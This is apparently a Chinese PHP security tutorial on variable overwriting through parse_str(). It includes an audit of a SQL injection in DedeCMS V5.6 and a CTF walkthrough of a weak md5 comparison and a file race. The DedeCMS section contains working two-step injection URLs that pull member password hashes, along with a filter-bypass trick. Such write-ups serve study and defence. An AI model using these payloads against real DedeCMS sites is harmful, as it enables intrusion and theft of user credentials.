函数学习
parse_str
功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。
定义 :void parse_str( string $encoded_string [, array &$result ] )
如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
Demo学习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php function getUser ($id ) { global $config , $db ; if (!is_resource($db )) { $db = new MySQLi( $config ['dbhost' ], $config ['dbuser' ], $config ['dbpass' ], $config ['dbname' ] ); } $sql = "SELECT username FROM users WHERE id = ?" ; $stmt = $db ->prepare($sql ); $stmt ->bind_param('i' , $id ); $stmt ->bind_result($name ); $stmt ->execute(); $stmt ->fetch(); return $name ; } $var = parse_url($_SERVER ['HTTP_REFERER' ]);parse_str($var ['query' ]); $currentUser = getUser($id );echo '<h1>' .htmlspecialchars($currentUser ).'</h1>' ;?>
第21行中,使用parse_url()
函数处理Referer
值后,在第22行中使用了不安全的parse_str()
函数处理$var
,导致getUser()
函数中全局变量$db
可控,这样就通过变量覆盖控制第6~9行中$config
参数让其远程链接指定mysql。
1 2 3 4 5 6 7 8 9 10 11 12 <?php $a = 77 ; echo $a ; $url = 'http://127.0.0.1/index.php?a=11&b=22' ; $var = parse_url($url ); print_r($var ); parse_str($var ['query' ]); echo $a ; ?>
案例分析 案例选取为DeDecms V5.6 ,该版本的buy_action.php 处存在SQL注入漏洞。
漏洞在member/buy_action.php
文件中mchStrCode()
函数处。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function mchStrCode ($string ,$action ='ENCODE' ) { $key = substr(md5($_SERVER ["HTTP_USER_AGENT" ].$GLOBALS ['cfg_cookie_encode' ]),8 ,18 ); $string = $action == 'ENCODE' ? $string : base64_decode($string ); $len = strlen($key ); $code = '' ; for ($i =0 ; $i <strlen($string ); $i ++) { $k = $i % $len ; $code .= $string [$i ] ^ $key [$k ]; } $code = $action == 'DECODE' ? $code : base64_encode($code ); return $code ; }
该函数的用来编和解码用户提交的数据,全局搜索有哪些地方调用该函数。
查看member/bug_action.php
文件第17行处,查看这段的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($pd_encode ) && isset ($pd_verify ) && md5("payment" .$pd_encode .$cfg_cookie_encode ) == $pd_verify ){ parse_str(mchStrCode($pd_encode ,'DECODE' ),$mch_Post ); foreach ($mch_Post as $k => $v ) $$k = $v ; $row = $dsql ->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid ' And sta=0 AND product='$product '" ); if (!isset ($row ['buyid' ])) { ShowMsg("请不要重复提交表单!" , 'javascript:;' ); exit (); } $buyid = $row ['buyid' ];
$pd_encode
变量可控,在第4行中先经过mchStrCode()
函数解码处理,然后被parse_str()
函数解析存在在$mch_Post
数组中。在第5行中foreach
语句,将$mch_Post
中key 定义为变量,将key 所对应的value 赋值给该变量,造成了变量覆盖漏洞。然后在第6行中,将参数直接带入到了sql语句中进行查询,这里并没有对新定义的key 进行过滤,导致SQL注入的存在。如下所示:
1 2 3 4 5 6 7 8 9 <?php $p1 = '1' ; $p3 = '3' ; $list = array ('p1' => "Value1" , 'p2' => "Value2" , 'p3' => "Value3" ); foreach ($list as $k => $v ) $$k = $v ; print_r($p1 ); echo '<br>' ; print_r($p3 ); ?>
重新查看mchStrCode()
函数,寻找key 的编码和利用方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function mchStrCode ($string ,$action ='ENCODE' ) { $key = substr(md5($_SERVER ["HTTP_USER_AGENT" ].$GLOBALS ['cfg_cookie_encode' ]),8 ,18 ); $string = $action == 'ENCODE' ? $string : base64_decode($string ); $len = strlen($key ); $code = '' ; for ($i =0 ; $i <strlen($string ); $i ++) { $k = $i % $len ; $code .= $string [$i ] ^ $key [$k ]; } $code = $action == 'DECODE' ? $code : base64_encode($code ); return $code ; }
在第3行处,取$_SERVER["HTTP_USER_AGENT"]
和$GLOBALS['cfg_cookie_encode']
值进行拼接,进行md5加密后使用substr()
函数截取第8位到第18的字符串。其中$_SERVER["HTTP_USER_AGENT"]
是用户浏览器UA标识,可控,但cfg_cookie_encode
为系统随机生成Cookie加密码 ,存储在data\config.cache.inc.php
文件中,cfg_cookie_encode
的生成在install/index.php
文件中。
1 $rnd_cookieEncode = chr(mt_rand(ord('A' ),ord('Z' ))).chr(mt_rand(ord('a' ),ord('z' ))).chr(mt_rand(ord('A' ),ord('Z' ))).chr(mt_rand(ord('A' ),ord('Z' ))).chr(mt_rand(ord('a' ),ord('z' ))).mt_rand(1000 ,9999 ).chr(mt_rand(ord('A' ),ord('Z' )));
可通过加密规则生成字典,但时间成本太高。查看有无其他办法可以得到该值。
全局搜索mchStrCode()
函数其他是否还有调用,在member/buy_action.php
文件第105行存在一处加密调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 if (!isset ($paytype )){ $inquery = "INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`) VALUES ('$buyid ', '$pname ', '$product ' , '$price ' , '$mtime ' , '$pid ' , '$mid ' , '0' , '$ptype '); " ; $isok = $dsql ->ExecuteNoneQuery($inquery ); if (!$isok ) { echo "数据库出错,请重新尝试!" .$dsql ->GetError(); exit (); } if ($price =='' ) { echo "无法识别你的订单!" ; exit (); } $payment_list = array (); $dsql ->SetQuery("SELECT * FROM #@__payment WHERE enabled='1' ORDER BY rank ASC" ); $dsql ->Execute(); $i = 0 ; while ($row = $dsql ->GetArray()) { $payment_list [] = $row ; $i ++; } unset ($row ); $pr_encode = '' ; foreach ($_REQUEST as $key => $val ) { $pr_encode .= $pr_encode ? "&$key =$val " : "$key =$val " ; } $pr_encode = str_replace('=' , '' , mchStrCode($pr_encode )); $pr_verify = md5("payment" .$pr_encode .$cfg_cookie_encode ); $tpl = new DedeTemplate(); $tpl ->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm' ); $tpl ->Display();
在第41行处会加载的模板/templets/buy_action_payment.htm
,查看该模板发现第35~36行会在页面输出编码后的$pd_encode
和$pd_verify
值。
那么构造cfg_dbprefix=sql
的语句,通过该接口进行编码并输出到页面中获取$pd_encode
和$pd_verify
值。
另外,在include/common.inc.php
文件中,会对用户提交的内容进行过滤,凡提交以cfg_
、GLOBALS
、_GET
、_POST
、_COOKIE
开头的都会被拦截。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function _RunMagicQuotes (&$svar ) { if (!get_magic_quotes_gpc()) { if ( is_array($svar ) ) { foreach ($svar as $_k => $_v ) $svar [$_k ] = _RunMagicQuotes($_v ); } else { if ( strlen($svar )>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#' ,$svar ) ) { exit ('Request var not allow!' ); } $svar = addslashes($svar ); } } return $svar ; }
解决的办法可以利用$REQUEST
和parse_str()
函数内容的差异特性。当传入的时候通过a=1&b=2%26c=3
提交时,$REQUEST
解析的内容为a=1,b=2%26c=3
,在进入parse_str()
函数时,parse_str()
会对传入的参数进行解码,所以解析后的内容为a=1,b=2,c=3
。这样便绕过了_RunMagicQuotes()
函数的验证。
漏洞复现 访问第一步的Payload:
1 http://127.0.0.1/dede/member/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
Payload中的product
和pid
参数是为了正确进入编码mchStrCode()
函数中,参数a
是配合差异性而添加的参数,从cfg_dbprefix
开始是sql注入的语句。当访问后需要在页面源码中找到编码后的pd_encode
和pd_verify
值。然后构造第二步Payload:
1 http://127.0.0.1/dede/member/buy_action.php?pd_encode=FBZeUEQAFgVRUBEBQkYKUVkIQgUMBRcABF9tVQEVFlMFXBwEAAFVUW4OB1VQVBE6C0YGRwVNDQtfFGYrJ2p3EVJYJGpEGkUIVlcFAUQNC1dcHkMWAVoGVhAZVUgDGAJPVhQHHVVJUxpbGV0VVVQRcmMsLxgaYiYpIXU3FSd2MSplHBhPIXd8ciIxTBZLZiF1ISdlFEEUBhh0YywoRFIGUQFmCQFcVlQRQnR7fCoxRAZPBE0VIih+e2NLMHl8dUtVTQRKHBwZIjZ+eREqLH59Yy4kMH8seztqJyx0eXBNIXBzYyImMHMxajd8MDcRc2MsN2gSczpFHB8CFUcfNCxhZ3QwMXF2DAACAFMQXFBaCBZfBkUWVF0BVwEICFIOU1MKQiBUUFQ2EV1AeCdYVhAnUABcMRdURngnPWdRWi4BUQsHBFcMBlRUVlNWW15XBgdQQnIGUQF1CwNYWmUKD10PAFVWUANQAFIJXUJ1UVUGLldVWA0xDVsGajtaDylVAQxXAwgDCFpVVAEFAAIIXV0D&pd_verify=8a4cb3f26eb972024b125bdcae91dbbc
案例学习 源码 1 2 3 4 5 6 7 8 9 <?php $a = “hongri”;$id = $_GET ['id' ];@parse_str($id ); if ($a [0 ] != 'QNKCDZO' && md5($a [0 ]) == md5('QNKCDZO' )) { echo '<a href="uploadsomething.php">flag is here</a>' ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php header("Content-type:text/html;charset=utf-8" ); $referer = $_SERVER ['HTTP_REFERER' ];if (isset ($referer )!== false ) { $savepath = "uploads/" . sha1($_SERVER ['REMOTE_ADDR' ]) . "/" ; if (!is_dir($savepath )) { $oldmask = umask(0 ); mkdir($savepath , 0777 ); umask($oldmask ); } if ((@$_GET ['filename' ]) && (@$_GET ['content' ])) { $content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r' ; file_put_contents("$savepath " . $_GET ['filename' ], $content ); $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET ['filename' ]) . "" ; usleep(100000 ); $content = "Too slow!" ; file_put_contents("$savepath " . $_GET ['filename' ], $content ); } print <<<EOT <form action="" method="get" > <div class="form-group"> <label for ="exampleInputEmail1" >Filename</label> <input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename"> </div> <div class="form-group"> <label for ="exampleInputPassword1" >Content</label> <input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont"> </div> <button type="submit" class="btn btn-default">Submit</button> </form> EOT; } else { echo 'you can not see this page' ; } ?>
分析 首先分析index.php
,这里存在一个弱类型比较。在PHP处理哈希字符串时,会通过!=
或者==
进行比较,在比较时,会将0e
开头的字符串识别为科学技术法的数字,导致有些MD5值以0e
开头会判断为相等。而在index.php
中第5行中
parse_str()
函数注册变量之前不会验证$id
和$a
变量是否存在,通过$id
变量覆盖改变$a
值。
第一阶段payload:
1 http://127.0.0.1/php/day7/index.php?id=a[0]=s878926199a
接下来分析uploadsomething.php
内容。第3行和第4行中,首先验证请求头中是否存在Referer
字段,如果存在则继续,否则提示you can not see this page
,第5行中将REMOTE_ADDR
进行加密拼接uploads/
组成文件上传路径,将第13行$content
存储flag值,通过file_put_concent()
写入文件中。在第16行中usleep()
等待100000毫秒后重新写入脏数据。
因为上传路径被加密,在测试前,需要在源码中加入打印$msg
代码
随意填写Filename
和Content
内容
获取到文件路径,但此时flag文件内容中的数据已被脏数据覆盖。
这里存在时间竞争问题,我们可以用过burp
多线程发包,使用脚本去读flag文件。在burp
中不断请求该地址。
1 http://127.0.0.1/uploadsomething.php?filename=flag&content=123
请求前另外需要写个脚本一直去读文件
1 http://127.0.0.1/uploads/41ad2d7358467fc19b89cbbfefc1a33987942cc9/flag
脚本文件:
1 2 3 4 5 6 7 import requests url = 'http://127.0.0.1/uploads/41ad2d7358467fc19b89cbbfefc1a33987942cc9/flag' while(True): r = requests.get(url).text print(r) pass
运行python文件后再用burp爆破
成功读到flag值。